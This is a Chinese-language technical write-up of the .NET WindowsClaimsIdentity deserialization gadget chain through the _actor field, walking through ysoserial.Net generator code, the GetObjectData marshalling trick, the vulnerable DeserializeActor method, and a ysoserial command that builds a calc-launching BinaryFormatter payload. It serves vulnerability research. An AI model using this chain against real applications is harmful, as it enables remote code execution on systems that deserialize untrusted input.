.NET ClaimsIdentity反序列化链(1) _actor

0x01 分析

WindowsClaimsIdentity类标记[Serializable]特性,并且继承于WindowsIdentity类,也实现了序列化接口ISerializable,签名如下.

[Serializable]public class WindowsClaimsIdentity : WindowsIdentity, IClaimsIdentity, IIdentity, ISerializable

它是.NET WIF身份验证框架的一部分,常用于在应用程序中管理和操作用户身份的信息,如用户名称、角色、权限等。提供添加、删除和查询声明的方法,以便在应用程序中使用这些声明进行身份验证和授权。

结合ysoserial.Net提供的实现代码,庖丁解牛一点点的解读,代码如下

IGenerator generator = new TextFormattingRunPropertiesGenerator();string b64encoded = Convert.ToBase64String(binaryFormatterPayload);if (variant_number == 2){     obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);}else if (variant_number == 3){     obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);}else{     obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);}

这里依旧使用TextFormattingRunProperties类生成基于XAML的攻击载荷,然后转成base64编码,为何要转换编码?我们继续看竟然有三处不同的if条件分支,很大可能存在三处不同的触发点,我们先跟踪WindowsClaimsIdentityMarshal_var1类,进入后发现也实现了ISerializable接口,那么意味着还存在序列化方法GetObjectData,果不其然签名如下

public void GetObjectData(SerializationInfo info, StreamingContext context)        {            info.SetType(typeof(WindowsClaimsIdentity));            info.AddValue("_actor", B64Payload);            info.AddValue("m_userToken", new IntPtr(0));            info.AddValue("_label", null);            info.AddValue("_nameClaimType", null);            info.AddValue("_roleClaimType", null);        }

通过info.SetType设置WindowsClaimsIdentityMarshal_var1序列化过程中指定类型为WindowsClaimsIdentity,然后通过info.AddValue将恶意的攻击载荷赋值给WindowsClaimsIdentity类的_actor成员,跟踪进入WindowsClaimsIdentity类发现actor属性原来具备了Setter,并且在GetObjectData()方法内序列化m_userToken、_nameClaimType、_roleClaimType、_label、_actor等多个属性,如下图

.NET ClaimsIdentity反序列化链(1) _actor

WindowsClaimsIdentity被序列化对象时会进入自身的构造方法,调用Deserialize反序列化info对象,核心代码如下

protected WindowsClaimsIdentity(SerializationInfo info, StreamingContext context){if (info == null){throw DiagnosticUtil.ExceptionUtil.ThrowHelperArgumentNull("info");}    Deserialize(info, context);}

Deserialize方法内部对以上提到的属性反序列化,这里漏洞触发的核心在于通过claimsIdentitySerializer.DeserializeActor()序列化info对象里的_actor属性,如下图

.NET ClaimsIdentity反序列化链(1) _actor

DeserializeActor()内部通过序列化对象info.GetString方法获得_actor属性值,然后Convert.FromBase64String将传入的值解码,最后调用binaryFormatter.Deserialize完成反序列化。代码清单如下

public IClaimsIdentity DeserializeActor()        {            string @string = _info.GetString("_actor");            if (@string == null)            {                return null;            }            BinaryFormatter binaryFormatter = new BinaryFormatter(null, _context);            using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(@string));            return (IClaimsIdentity)binaryFormatter.Deserialize(serializationStream);        }

ysoserial.exe -f BinaryFormatter -g WindowsClaimsIdentity -c "calc" -t

.NET ClaimsIdentity反序列化链(1) _actor